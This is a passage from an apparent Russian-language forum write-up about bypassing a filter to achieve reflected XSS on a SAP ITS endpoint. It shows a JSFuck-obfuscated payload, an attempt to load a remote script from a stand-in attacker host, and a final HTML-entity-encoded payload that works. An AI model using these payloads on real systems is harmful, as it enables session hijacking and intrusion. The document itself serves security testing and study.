])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])>.asp HTTP/2
Ответ:
Код: Скопировать в буфер обмена
Код:
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="refresh"      content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/"><IMG SRC=X ONERROR=[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])>">
</head>
<body>
</body>
</html>
1702821284210.png


Изображение [2]
Таким образом, мы понимаем, что JSFuck работает, теперь время для второго подхода. Второй подход - это запуск HTTP-сервера с файлом 1.JS, я использовал номер 1, потому что числа не могут быть преобразованы в верхний регистр, а верхний регистр .js - это .JS
1702822149154.png


Изображение [3]​

Теперь мой запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><script%20src=http://xacker.mamkin/1.JS>.asp HTTP/2
Ответ:
Код: Скопировать в буфер обмена
Код:
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="refresh"      content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/"><SCRIPT SRC=HTTP:/XACKER.MAMKIN/1.JS>">
</head>
<body>
</body>
</html>
Как вы можете видеть, там один слэш, это http:/ вместо http://, я пробовал несколько методов обхода, они не сработали. Поэтому я оставлю этот подход и попробую использовать более простые подходы. Кстати, когда я открываю тег script, нет ошибки 403, ошибка 403 возникает, когда я закрываю тег. Хорошо, теперь я могу использовать HTML-кодирование, мой запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img/src=x/onerror=&#112;&#114;&#105;&#110;&#116;(1)>.asp HTTP/2
Ответ, который я получил:
Код: Скопировать в буфер обмена
HTTP/2 404 Not Found
Так почему я получил ошибку 404? Точка с запятой (;) не является специальным символом, я попробовал закодировать её и отправить запрос таким образом, но ответ все равно был 404. Я думаю, что сервер/веб-приложение может быть настроено для обработки точек с запятой определенным образом, и эта настройка может привести к ошибке 404 для URL-адресов, содержащих точки с запятой, независимо от кодирования. Теперь, чтобы понять, что здесь происходит, я начну сначала.
200 OK
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/">.asp HTTP/2
404 Not Found
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/&quot;&gt;.asp HTTP/2
200 OK / Но ответ не декодирован, это &QUOT&GT
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/&quot&gt.asp HTTP/2
Может мне следует использовать &#34; вместо &quot?
404 Not Found
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/&#34;&#62;.asp HTTP/2
Что если я уберу ;
200 OK, хорошо, этот, кажется, работает.
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/&#34&#62.asp HTTP/2

Теперь я вернусь и закодирую то, что нужно правильным образом
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img/src=x/onerror=&#112&#114&#105&#110&#116(1)>.asp HTTP/
Если у меня 200 OK, возможно, проблема с тегом img:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img%20src=x%20onerror=&#112&#114&#105&#110&#116(1)>.asp HTTP/2
Это сработало, здорово! Но проблема здесь в том, что HTML-кодированная часть также должна быть URL-кодированной, иначе & будет считаться специальным символом. Так что окончательный запрос будет:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img%20src=x%20onerror=%26%23112%26%23114%26%23105%26%23110%26%23116(1)>.asp HTTP/2
Ответ:
Код: Скопировать в буфер обмена
Код:
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="refresh"      content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/"><IMG SRC=X ONERROR=&#112&#114&#105&#110&#116(1)>">
</head>
<body>
</body>
</html>

1702823897661.png


Изображение [4]​

Мой пейлоад был print xD

В результате теперь у нас есть лучший (более правильный) пейлоад, чем тот, что был в Nuclei, потому что наш кодирует то, что нужно, а не всё.
П.С. Тестировалось с разрешения, очевидно.

Автор grozdniyandy

Источник https://xss.is/

 
Сверху Снизу